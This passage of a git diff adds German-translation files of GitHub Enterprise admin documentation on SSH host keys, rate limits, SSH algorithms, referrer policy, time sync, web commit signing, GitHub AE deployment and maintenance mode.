+- "[Enabling private mode](/admin/configuration/enabling-private-mode)"
+{% endif %}
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-host-keys-for-your-instance.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-host-keys-for-your-instance.md
new file mode 100644
index 0000000000..c649c89a20
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-host-keys-for-your-instance.md
@@ -0,0 +1,52 @@
+---
+title: Konfigurieren von Hostschlüsseln für deine Instanz
+shortTitle: Configure host keys
+intro: 'Du kannst die Sicherheit von {% data variables.location.product_location %} erhöhen, indem du die Algorithmen konfigurierst, die deine Instanz zum Generieren und Ankündigen von Hostschlüsseln für eingehende SSH-Verbindungen verwendet.'
+permissions: 'Site administrators can configure the host keys for a {% data variables.product.product_name %} instance.'
+versions:
+  ghes: '>= 3.6'
+type: how_to
+topics:
+  - Authentication
+  - Enterprise
+  - Infrastructure
+  - Networking
+  - Security
+  - SSH
+ms.openlocfilehash: 6454568e63b15fc947994ab39aef9baad9d5c146
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107109'
+---
+## Informationen zu Hostschlüsseln für deine Instanz
+
+Server, die SSH-Verbindungen akzeptieren, kündigen einen oder mehrere kryptografische Hostschlüssel an, um den Server für SSH-Clients sicher zu identifizieren. Um die Identität des Servers während der Initialisierung einer Verbindung zu bestätigen, speichern und überprüfen Clients den Hostschlüssel. Weitere Informationen findest du unter [SSH Host Key - What, Why, How](https://ssh.com/academy/ssh/host-key) auf der Website der SSH Academy.
+
+{% data reusables.enterprise.about-ssh-ports %}
+
+Standardmäßig werden von {% data variables.location.product_location %} Hostschlüssel unter Verwendung einer OpenSSH-ähnlichen Hostschlüsselrotation generiert und angekündigt. Um die Sicherheit von SSH in deiner Umgebung zu erhöhen, kannst du zusätzliche Algorithmen für die Generierung von Hostschlüsseln aktivieren.
+
+{% note %}
+
+**Hinweis**: Wenn du zusätzliche Hostschlüsselalgorithmen aktivierst, kann es vorkommen, dass Clients, die für SSH-Verbindungen nicht OpenSSH verwenden, während der Verbindung Warnungen erhalten oder dass die Verbindung ganz fehlschlägt. Einige SSH-Implementierungen können nicht unterstützte Algorithmen ignorieren und ein Fallback zu einem anderen Algorithmus vornehmen. Wenn der Client kein Fallback unterstützt, schlägt die Verbindung fehl. Die SSH-Bibliothek für Go unterstützt beispielsweise kein Fallback zu einem anderen Algorithmus.
+
+{% endnote %}
+
+## Verwalten eines Ed25519-Hostschlüssels
+
+Um die Sicherheit für Clients zu erhöhen, die sich mit {% data variables.location.product_location %} verbinden, kannst du die Generierung und Ankündigung eines Ed25519-Hostschlüssels aktivieren. Ed25519 ist immun gegen einige Angriffe, die auf ältere Signaturalgorithmen abzielen, ohne dabei an Geschwindigkeit einzubüßen. Ältere SSH-Clients unterstützen möglicherweise Ed25519 nicht. Standardmäßig werden von {% data variables.product.product_name %}-Instanzen keine Ed25519-Hostschlüssel generiert oder angekündigt. Weitere Informationen findest du auf der [Website zu Ed25519](https://ed25519.cr.yp.to).
+
+{% data reusables.enterprise_installation.ssh-into-instance %}
+1. Gib den folgenden Befehl ein, um die Generierung und Ankündigung des Ed25519-Hostschlüssels zu aktivieren.
+
+   ```shell
+   ghe-config app.babeld.host-key-ed25519 true
+   ```
+1. Gib optional den folgenden Befehl ein, um die Generierung und Ankündigung des Ed25519-Hostschlüssels zu deaktivieren.
+
+   ```shell
+   ghe-config app.babeld.host-key-ed25519 false
+   ```
+{% data reusables.enterprise.apply-configuration %}
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md
new file mode 100644
index 0000000000..410ee57a5a
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md
@@ -0,0 +1,123 @@
+---
+title: Configuring rate limits
+intro: 'You can set rate limits for {% data variables.product.prodname_ghe_server %} using the {% data variables.enterprise.management_console %}.'
+redirect_from:
+  - /enterprise/admin/installation/configuring-rate-limits
+  - /enterprise/admin/configuration/configuring-rate-limits
+  - /admin/configuration/configuring-rate-limits
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Infrastructure
+  - Performance
+---
+## Enabling rate limits for the {% data variables.product.prodname_enterprise_api %}
+
+Enabling rate limits on the {% data variables.product.prodname_enterprise_api %} can prevent overuse of resources by individual or unauthenticated users. For more information, see "[Resources in the REST API](/rest/overview/resources-in-the-rest-api#rate-limiting)."
+
+{% ifversion ghes %}
+You can exempt a list of users from API rate limits using the `ghe-config` utility in the administrative shell. For more information, see "[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-config)."
+{% endif %}
+
+{% note %}
+
+**Note:** The {% data variables.enterprise.management_console %} lists the time period (per minute or per hour) for each rate limit.
+
+{% endnote %}
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+2. Under "Rate Limiting", select **Enable HTTP API Rate Limiting**.
+![Checkbox for enabling API rate limiting](/assets/images/enterprise/management-console/api-rate-limits-checkbox.png)
+3. Type limits for authenticated and unauthenticated requests for each API, or accept the pre-filled default limits.
+{% data reusables.enterprise_management_console.save-settings %}
+
+{% ifversion enterprise-authentication-rate-limits %}
+## Configuring rate limits for authentication to the {% data variables.enterprise.management_console %}
+
+You can configure the lockout time and login attempt limits for the {% data variables.enterprise.management_console %}. If a user exceeds the login attempt limit, the {% data variables.enterprise.management_console %} will remain locked for the duration set by the lockout time. {% data reusables.enterprise_management_console.unlocking-management-console-with-shell %}
+
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+2. Under "Login attempt rate limiting", configure the lockout time and login attempt rate limit or accept the pre-filled default settings.
+![Fields for configuring lockout time and login attempt rate limit](/assets/images/enterprise/management-console/login-attempt-rate-limiting.png)
+{% data reusables.enterprise_management_console.save-settings %}
+
+{% endif %}
+## Enabling secondary rate limits
+
+Setting secondary rate limits protects the overall level of service on {% data variables.location.product_location %}.
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% ifversion ghes %}
+2. Under "Rate Limiting", select **Enable Secondary Rate Limiting**.
+   ![Checkbox for enabling secondary rate limiting](/assets/images/enterprise/management-console/secondary-rate-limits-checkbox.png)
+{% else %}
+2. Under "Rate Limiting", select **Enable Abuse Rate Limiting**.
+    ![Checkbox for enabling abuse rate limiting](/assets/images/enterprise/management-console/abuse-rate-limits-checkbox.png)
+{% endif %}
+3. Type limits for Total Requests, CPU Limit, and CPU Limit for Searching, or accept the pre-filled default limits.
+{% data reusables.enterprise_management_console.save-settings %}
+
+## Enabling rate limits for Git
+
+If a member of {% data variables.product.company_short %}'s staff has recommended it, you can apply Git rate limits per repository network or per user ID. Git rate limits are expressed in concurrent operations per minute, and are adaptive based on the current CPU load.
+
+{% warning %}
+
+**Warning:** We encourage you to leave this setting disabled unless directly recommended by a member of {% data variables.product.company_short %}'s staff. Git operations are rarely the leading driver of CPU and RAM usage. Enabling this feature can make Git operations more likely to fail under high load conditions but does not address the underlying cause of those conditions.
+
+{% endwarning %}
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+2. Under "Rate Limiting", select **Enable Git Rate Limiting**.
+![Checkbox for enabling Git rate limiting](/assets/images/enterprise/management-console/git-rate-limits-checkbox.png)
+3. Type limits for each repository network or user ID.
+  ![Fields for repository network and user ID limits](/assets/images/enterprise/management-console/example-git-rate-limits.png)
+{% data reusables.enterprise_management_console.save-settings %}
+
+{% ifversion ghes > 3.4 %}
+
+## Configuring rate limits for {% data variables.product.prodname_actions %}
+
+You can apply a rate limit to {% data variables.product.prodname_actions %} workflow runs. For more information about {% data variables.product.prodname_actions %}, see "[About {% data variables.product.prodname_actions %} for enterprises](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)."
+
+### About rate limits for {% data variables.product.prodname_actions %}
+
+Your {% data variables.product.product_name %} instance assigns each {% data variables.product.prodname_actions %} workflow job to a runner. If your instance cannot immediately assign a job to an available runner, the job will wait in a queue until a runner is available. If {% data variables.product.prodname_actions %} experiences sustained high load, the queue can back up, and the performance of {% data variables.location.product_location %} may degrade.
+
+To avoid this performance degradation, you can configure a rate limit for {% data variables.product.prodname_actions %}. This rate limit is expressed in job runs per minute. {% data variables.product.product_name %} calculates and applies the rate limit for the sum total of all job runs on the instance. If runs exceed the rate limit, additional runs will fail instead of entering the queue. The following error will appear in the run's annotations.
+
+> You've exceeded the rate limit for workflow run requests. Please wait before retrying the run.
+
+An appropriate rate limit protects {% data variables.location.product_location %} from abnormal usage of {% data variables.product.prodname_actions %} without interfering with day-to-day operations. The exact threshold depends on your instance's available resources and overall load profile. For more information about the hardware requirements for {% data variables.product.prodname_actions %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-requirements)."
+
+By default, the rate limit for {% data variables.product.prodname_actions %} is disabled. Because {% data variables.product.product_name %} can handle temporary spikes in usage without performance degradation, this rate limit is intended to protect against sustained high load. We recommend leaving the rate limit disabled unless you are experiencing performance problems. In some cases, {% data variables.contact.github_support %} may recommend that you enable a rate limit for {% data variables.product.prodname_actions %}. 
+
+### Enabling or disabling rate limits for {% data variables.product.prodname_actions %}
+
+{% data reusables.enterprise_installation.ssh-into-instance %}
+1. To enable and configure the rate limit, run the following two commands, replacing **RUNS-PER-MINUTE** with the value of your choice.
+
+   ```shell
+   ghe-config actions-rate-limiting.enabled true
+   ghe-config actions-rate-limiting.queue-runs-per-minute RUNS-PER-MINUTE
+   ```
+1. To disable the rate limit after it's been enabled, run the following command.
+
+   ```
+   ghe-config actions-rate-limiting.enabled false
+   ```
+1. To apply the configuration, run the following command.
+
+   ```
+   ghe-config-apply
+   ```
+1. Wait for the configuration run to complete.
+
+{% endif %}
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-ssh-connections-to-your-instance.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-ssh-connections-to-your-instance.md
new file mode 100644
index 0000000000..3d8a2df2fe
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-ssh-connections-to-your-instance.md
@@ -0,0 +1,52 @@
+---
+title: Configuring SSH connections to your instance
+shortTitle: Configure SSH connections
+intro: 'You can increase the security of {% data variables.location.product_location %} by configuring the SSH algorithms that clients can use to establish a connection.'
+permissions: 'Site administrators can configure SSH connections to a {% data variables.product.product_name %} instance.'
+versions:
+  ghes: '>= 3.6'
+type: how_to
+topics:
+  - Authentication
+  - Enterprise
+  - Infrastructure
+  - Networking
+  - Security
+  - SSH
+---
+
+## About SSH connections to your instance
+
+{% data reusables.enterprise.about-ssh-ports %}
+
+To accommodate the SSH clients in your environment, you can configure the types of connections that {% data variables.location.product_location %} will accept.
+
+## Configuring SSH connections with RSA keys
+
+When users perform Git operations on {% data variables.location.product_location %} via SSH over port 22, the client can authenticate with an RSA key. The client may sign the attempt using the SHA-1 hash function. In this context, the SHA-1 hash function is no longer secure. For more information, see [SHA-1](https://en.wikipedia.org/wiki/SHA-1) on Wikipedia.
+
+By default{% ifversion ghes < 3.7 %} on {% data variables.product.product_name %} 3.6 and later{% endif %}, SSH connections that satisfy **both** of the following conditions will fail.
+
+{% data reusables.ssh.rsa-sha-1-connection-failure-criteria %}
+
+You can adjust the cutoff date. If the user uploaded the RSA key before the cutoff date, the client can continue to connect successfuly using SHA-1 as long as the key remains valid. Alternatively, you can reject all SSH connections authenticated with an RSA key if the client signs the connection using the SHA-1 hash function.
+
+Regardless of the setting you choose for your instance, clients can continue to connect using any RSA key signed with a SHA-2 hash function.
+
+If you use an SSH certificate authority, connections will fail if the certificate's `valid_after` date is after the cutoff date. For more information, see "[About SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities)."
+
+For more information, see [{% data variables.product.prodname_blog %}](https://github.blog/2022-06-28-improving-git-protocol-security-on-github-enterprise-server).
+
+{% data reusables.enterprise_installation.ssh-into-instance %}
+1. Audit your instance's logs for connections that use unsecure algorithms or hash functions using the `ghe-find-insecure-git-operations` utility. For more information, see "[Command-line utilities](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-find-insecure-git-operations)."
+1. To configure a cutoff date after which {% data variables.location.product_location %} will deny connections from clients that use an RSA key uploaded after the date if the connection is signed by the SHA-1 hash function, enter the following command. Replace _**RFC-3399-UTC-TIMESTAMP**_ with a valid RFC 3399 UTC timestamp. For example, the default value, August 1, 2022, would be represented as `2022-08-01T00:00:00Z`. For more information, see [RFC 3339](https://datatracker.ietf.org/doc/html/rfc3339) on the IETF website.
+
+   <pre>
+   $ ghe-config app.gitauth.rsa-sha1 RFC-3339-UTC-TIMESTAMP
+   </pre>
+1. Alternatively, to completely disable SSH connections using RSA keys that are signed with the SHA-1 hash function, enter the following command.
+
+   ```shell
+   ghe-config app.gitauth.rsa-sha1 false
+   ```
+{% data reusables.enterprise.apply-configuration %}
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise.md
new file mode 100644
index 0000000000..ef1314f097
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise.md
@@ -0,0 +1,38 @@
+---
+title: Configuring the referrer policy for your enterprise
+shortTitle: Configure referrer policy
+intro: 'You can increase the privacy of {% data variables.location.product_location %} by configuring the policy for cross-origin requests.'
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Networking
+  - Privacy
+  - Security
+---
+
+## About the referrer policy for your enterprise
+
+The referrer policy controls the information that {% data variables.product.product_name %} transmits in HTTP headers when someone visits a link from {% data variables.location.product_location %} to an external site.
+
+By default, when a user on {% data variables.location.product_location %} visits a link to another site from a file or comment on your instance, the request includes the hostname for your instance in plain text within the `Referer` header. If the link leads to an external website, the owner of the website could read the hostname for your instance in requests or log files.
+
+You can control the information that {% data variables.product.product_name %} sends when a user visits a link from your instance.
+
+## Enabling the `same-origin` referrer policy
+
+You can enable the `same-origin` referrer policy to instruct modern browsers to exclude the hostname for {% data variables.location.product_location %} from requests to external websites. The setting applies to all links from the web interface on your instance. By default, {% data variables.product.product_name %} uses the `origin-when-cross-origin` and `strict-origin-when-cross-origin` referrer policies, which means your instance's hostname will appear in HTTP and HTTPS requests to external websites.
+
+{% note %}
+
+**Note**: Changing the referrer policy to `same-origin` can affect external sites that expect a hostname in the HTTP headers for a request.
+
+{% endnote %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+1. Under "User Agent Referrer Policy", select **Enable same origin referrer policy for all organizations**.
+  ![Checkbox for enabling same origin referrer policy](/assets/images/enterprise/settings/referrer-policy-checkbox.png)
+1. Click **Save**.
+  ![Save button for enabling same origin referrer policy](/assets/images/enterprise/settings/referrer-policy-save-button.png)
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md
new file mode 100644
index 0000000000..b67b1262b4
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md
@@ -0,0 +1,55 @@
+---
+title: Zeitsynchronisierung konfigurieren
+intro: '{% data variables.product.prodname_ghe_server %} synchronisiert seine Uhr automatisch, indem Verbindungen zu NTP-Servern hergestellt werden. Du kannst die zum Synchronisieren der Uhr verwendeten NTP-Server festlegen. Alternativ kannst du die NTP-Standardserver verwenden.'
+redirect_from:
+  - /enterprise/admin/articles/adjusting-the-clock
+  - /enterprise/admin/articles/configuring-time-zone-and-ntp-settings
+  - /enterprise/admin/articles/setting-ntp-servers
+  - /enterprise/admin/categories/time
+  - /enterprise/admin/installation/configuring-time-synchronization
+  - /enterprise/admin/configuration/configuring-time-synchronization
+  - /admin/configuration/configuring-time-synchronization
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Fundamentals
+  - Infrastructure
+  - Networking
+shortTitle: Configure time settings
+ms.openlocfilehash: 34ab851e50467a06eb0003d32306d1cd26e9a2d8
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145103012'
+---
+## NTP-Standardserver ändern
+
+{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %}
+2. Klicke in der linken Seitenleiste auf **Uhrzeit**.
+    ![Die Schaltfläche „Zeit“ in der {% data variables.enterprise.management_console %}-Seitenleiste](/assets/images/enterprise/management-console/sidebar-time.png)
+3. Gib unter „Primary NTP server“ (Primärer NTP-Server) den Hostnamen des primären NTP-Servers ein. Gib unter „Secondary NTP server“ (Sekundärer NTP-Server) den Hostnamen des sekundären NTP-Servers ein.
+    ![Die Felder für die primären und sekundären NTP-Server in der {% data variables.enterprise.management_console %}](/assets/images/enterprise/management-console/ntp-servers.png)
+4. Klicke unten auf der Seite auf **Einstellungen speichern**.
+    ![Die Schaltfläche „Einstellungen speichern“ in der{% data variables.enterprise.management_console %}](/assets/images/enterprise/management-console/save-settings.png)
+5. Warte auf den Abschluss der Konfigurationsausführung.
+
+## Große Zeitabweichung korrigieren
+
+Das NTP-Protokoll korrigiert fortlaufend kleine Abweichungen bei der Zeitsynchronisierung. Mit der Verwaltungsshell kannst du die Zeit sofort synchronisieren.
+
+{% note %}
+
+**Hinweise:**
+ - Die UTC-Zone (Coordinated Universal Time, koordinierte Weltzeit) kann nicht geändert werden.
+ - Du solltest deinen Hypervisor am Versuch hindern, die Uhr der virtuellen Maschine festzulegen. Weitere Informationen findest du in der vom Virtualisierungsanbieter bereitgestellten Dokumentation.
+
+{% endnote %}
+
+- Führe den Befehl `chronyc` aus, um den Server mit dem konfigurierten NTP-Server zu synchronisieren. Beispiel:
+
+```shell
+$ sudo chronyc -a makestep
+```
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-web-commit-signing.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-web-commit-signing.md
new file mode 100644
index 0000000000..37a73bf097
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-web-commit-signing.md
@@ -0,0 +1,78 @@
+---
+title: Configuring web commit signing
+shortTitle: Configure web commit signing
+intro: 'You can enable auto-signing of commits made in the web interface of {% data variables.product.product_name %}.'
+versions:
+  ghes: '>=3.5'
+type: how_to
+topics:
+  - Access management
+  - Enterprise
+  - Fundamentals
+  - Identity
+  - Security
+permissions: 'Site administrators can configure web commit signing for {% data variables.location.product_location %}.'
+---
+
+## About web commit signing
+
+If you enable web commit signing, {% data variables.product.product_name %} will automatically use GPG to sign commits users make on the web interface of {% data variables.location.product_location %}. Commits signed by {% data variables.product.product_name %} will have a verified status. For more information, see "[About commit signature verification](/authentication/managing-commit-signature-verification/about-commit-signature-verification)."
+
+You can enable web commit signing, rotate the private key used for web commit signing, and disable web commit signing.
+
+## Enabling web commit signing
+
+{% data reusables.enterprise_site_admin_settings.create-pgp-key-web-commit-signing %}
+    - Use `web-flow` as the username. If `web-flow` is unavailable or unusable, use any new unique username. Use this username throughout the following steps in this article.
+   - If you have a no-reply email address defined in the {% data variables.enterprise.management_console %}, use that email address. If not, use any email address, such as `web-flow@my-company.com`. The email address does not need to be valid.
+{% data reusables.enterprise_site_admin_settings.pgp-key-no-passphrase %}
+{% data reusables.enterprise_site_admin_settings.pgp-key-env-variable %}
+{% data reusables.enterprise_site_admin_settings.update-commit-signing-service %}
+1. Enable web commit signing.
+
+    ```bash{:copy}
+    ghe-config app.github.web-commit-signing-enabled true
+    ```
+1. Apply the configuration, then wait for the configuration run to complete.
+
+   ```bash{:copy}
+   ghe-config-apply
+   ```
+1. Create a new user on {% data variables.location.product_location %} via built-in authentication or external authentication. For more information, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)."
+   - The user's username must be the same username you used when creating the PGP key in step 1 above, for example, `web-flow`. 
+   - The user's email address must be the same address you used when creating the PGP key. 
+{% data reusables.enterprise_site_admin_settings.add-key-to-web-flow-user %}
+{% data reusables.enterprise_site_admin_settings.email-settings %}
+1. Under "No-reply email address", type the same email address you used when creating the PGP key. 
+
+   {% note %}
+
+   **Note:** The "No-reply email address" field will only be displayed if you've enabled email for {% data variables.location.product_location %}. For more information, see "[Configuring email for notifications](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications#configuring-smtp-for-your-enterprise)."
+
+   {% endnote %}
+{% data reusables.enterprise_management_console.save-settings %}
+
+## Rotating the private key used for web commit signing
+
+{% data reusables.enterprise_site_admin_settings.create-pgp-key-web-commit-signing %}
+   - Use the web commit signing user's username, for example, `web-flow`.
+   - Use the no-reply email address defined in the {% data variables.enterprise.management_console %}, which should be the same as the email address of the web commit signing user, for example, `web-flow`.
+{% data reusables.enterprise_site_admin_settings.pgp-key-no-passphrase %}
+{% data reusables.enterprise_site_admin_settings.pgp-key-env-variable %}
+{% data reusables.enterprise_site_admin_settings.update-commit-signing-service %}
+{% data reusables.enterprise_site_admin_settings.add-key-to-web-flow-user %}
+
+## Disabling web commit signing
+
+You can disable web commit signing for {% data variables.location.product_location %}.
+
+1. In the administrative shell, run the following command.
+
+   ```bash{:copy}
+   ghe-config app.github.web-commit-signing-enabled false
+   ```
+1. Apply the configuration.
+
+   ```bash{:copy}
+   ghe-config-apply
+   ```
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/deploying-github-ae.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/deploying-github-ae.md
new file mode 100644
index 0000000000..899800bfc5
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/deploying-github-ae.md
@@ -0,0 +1,70 @@
+---
+title: Bereitstellen von GitHub AE
+intro: 'Du kannst {% data variables.product.product_name %} in einer verfügbaren Azure-Region bereitstellen.'
+versions:
+  ghae: '*'
+topics:
+  - Accounts
+  - Enterprise
+type: how_to
+shortTitle: Deploy GitHub AE
+redirect_from:
+  - /get-started/signing-up-for-github/setting-up-a-trial-of-github-ae
+ms.openlocfilehash: af6def26a15a1ccad2625677d9db57b2a1907850
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147614367'
+---
+## Informationen zur Bereitstellung von {% data variables.product.product_name %}
+
+{% data reusables.github-ae.github-ae-enables-you %} Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_ghe_managed %}](/admin/overview/about-github-ae).
+
+Nachdem du eine Testversion von {% data variables.product.product_name %} erworben oder gestartet hast, kannst du {% data variables.product.product_name %} in einer verfügbaren Azure-Region bereitstellen. Dieser Leitfaden bezieht sich auf die Azure-Ressource, die die Bereitstellung von {% data variables.product.product_name %} als {% data variables.product.product_name %}-Konto enthält. Du stellst das {% data variables.product.product_name %}-Konto unter [https://portal.azure.com](https://portal.azure.com) im Azure-Portal bereit.
+
+## Voraussetzungen
+
+Du benötigst die Berechtigung zum Ausführen des `/register/action`-Vorgangs für den Ressourcenanbieter in Azure. Die Berechtigung ist in den Rollen `Contributor` und `Owner` enthalten. Weitere Informationen findest du in der Microsoft-Dokumentation unter [Azure-Ressourcenanbieter und -Typen](https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/resource-providers-and-types#register-resource-provider).
+
+## Bereitstellen von {% data variables.product.product_name %} mit den {% data variables.actions.azure_portal %}
+
+Im {% data variables.actions.azure_portal %} kannst du das {% data variables.product.product_name %}-Konto in deiner Azure-Ressourcengruppe bereitstellen.
+
+1. Klicke auf einen der folgenden beiden Links, um mit der Bereitstellung von {% data variables.product.product_name %} zu beginnen. Auf welchen Link du klicken solltest, hängt von der Azure-Cloud ab, in der du {% data variables.product.product_name %} bereitstellen möchtest. Weitere Informationen zu Azure Government findest du in der Microsoft-Dokumentation unter [Was ist Azure Government?](https://docs.microsoft.com/en-us/azure/azure-government/documentation-government-welcome).
+   
+   - [Bereitstellen von {% data variables.product.product_name %} in Azure Commercial](https://aka.ms/create-github-ae-instance)
+   - [Bereitstellen von {% data variables.product.product_name %} in Azure Government](https://aka.ms/create-github-ae-instance-gov)
+1. Um mit dem Hinzufügen eines neuen {% data variables.product.product_name %}-Kontos zu beginnen, klicke auf **GitHub AE-Konto erstellen**.
+1. Fülle die Felder „Projektdetails“ und „Instanzdetails“ aus.
+    ![{% data variables.actions.azure_portal %}-Suchergebnisse](/assets/images/azure/github-ae-azure-portal-form.png)
+    - **Kontoname:** Der Hostname für dein Unternehmen
+    - **Administratorname:** Ein Benutzername für den ursprünglichen Unternehmensbesitzer, der in {% data variables.product.product_name %} erstellt wird.
+    - **Administrator-E-Mail:** Die E-Mail-Adresse, die die Anmeldeinformationen empfängt.
+1. Um eine Zusammenfassung der vorgeschlagenen Änderungen anzuzeigen, klicke auf **Überprüfen + erstellen**.
+1. Klicke nach Abschluss der Überprüfung auf **Erstellen**.
+
+Die oben eingegebene E-Mail-Adresse empfängt Anweisungen zum Zugriff auf dein Unternehmen. Sobald du Zugriff hast, kannst du mit den ersten Setupschritte beginnen. Weitere Informationen findest du unter [Initialisieren von {% data variables.product.product_name %}](/admin/configuration/initializing-github-ae).
+
+{% note %}
+
+**Hinweis:** Softwareupdates für deine {% data variables.product.product_name %}-Bereitstellung werden von {% data variables.product.prodname_dotcom %} ausgeführt. Weitere Informationen findest du unter [Informationen zu Upgrades auf neue Releases](/admin/overview/about-upgrades-to-new-releases).
+
+{% endnote %}
+
+## Navigieren zu deinem Unternehmen
+
+Du kannst im {% data variables.actions.azure_portal %} zu deiner {% data variables.product.product_name %}-Bereitstellung navigieren. Die resultierende Liste enthält alle {% data variables.product.product_name %}-Bereitstellungen in deiner Azure-Region.
+
+1. Klicke im {% data variables.actions.azure_portal %} im linken Bereich auf **Alle Ressourcen**.
+1. Klicke in den verfügbaren Filtern auf **Alle Typen**, wähle dann **Alle auswählen** ab, und wähle **GitHub AE** aus: ![{% data variables.actions.azure_portal %}-Suchergebnisse](/assets/images/azure/github-ae-azure-portal-type-filter.png)
+
+## Nächste Schritte
+
+- Nachdem deine Bereitstellung erfolgt ist, initialisiere im nächsten Schritt {% data variables.product.product_name %}. Weitere Informationen findest du unter [Initialisieren von {% data variables.product.product_name %}](/github-ae@latest/admin/configuration/configuring-your-enterprise/initializing-github-ae).
+- Wenn du {% data variables.product.product_name %} ausprobierst, kannst du jederzeit während des Testzeitraums auf eine vollständige Lizenz aktualisieren, indem du dich an den Kontakt {% data variables.contact.contact_enterprise_sales %} wendest. Wenn du am letzten Tag deiner Testphase kein Upgrade durchgeführt hast, wird die Bereitstellung automatisch gelöscht. Wenn du mehr Zeit für die Beurteilung von {% data variables.product.product_name %} benötigst, kontaktiere bitte {% data variables.contact.contact_enterprise_sales %} für eine Verlängerung.
+
+## Weitere Informationsquellen 
+
+- [Aktivieren von {% data variables.product.prodname_advanced_security %}-Features für {% data variables.product.product_name %}](/github/getting-started-with-github/about-github-advanced-security#enabling-advanced-security-features-on-github-ae)
+- [{% data variables.product.product_name %}-Versionshinweise](/github-ae@latest/admin/overview/github-ae-release-notes) 
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md
new file mode 100644
index 0000000000..fd5a8111b5
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md
@@ -0,0 +1,104 @@
+---
+title: Enabling and scheduling maintenance mode
+intro: 'Some standard maintenance procedures, such as upgrading {% data variables.location.product_location %} or restoring backups, require the instance to be taken offline for normal use.'
+redirect_from:
+  - /enterprise/admin/maintenance-mode
+  - /enterprise/admin/categories/maintenance-mode
+  - /enterprise/admin/articles/maintenance-mode
+  - /enterprise/admin/articles/enabling-maintenance-mode
+  - /enterprise/admin/articles/disabling-maintenance-mode
+  - /enterprise/admin/guides/installation/maintenance-mode
+  - /enterprise/admin/installation/enabling-and-scheduling-maintenance-mode
+  - /enterprise/admin/configuration/enabling-and-scheduling-maintenance-mode
+  - /admin/configuration/enabling-and-scheduling-maintenance-mode
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Fundamentals
+  - Maintenance
+  - Upgrades
+shortTitle: Configure maintenance mode
+---
+## About maintenance mode
+
+Some types of operations require that you take {% data variables.location.product_location %} offline and put it into maintenance mode:
+- Upgrading to a new version of {% data variables.product.prodname_ghe_server %}
+- Increasing CPU, memory, or storage resources allocated to the virtual machine
+- Migrating data from one virtual machine to another
+- Restoring data from a {% data variables.product.prodname_enterprise_backup_utilities %} snapshot
+- Troubleshooting certain types of critical application issues
+
+We recommend that you schedule a maintenance window for at least 30 minutes in the future to give users time to prepare. When a maintenance window is scheduled, all users will see a banner when accessing the site.
+
+
+
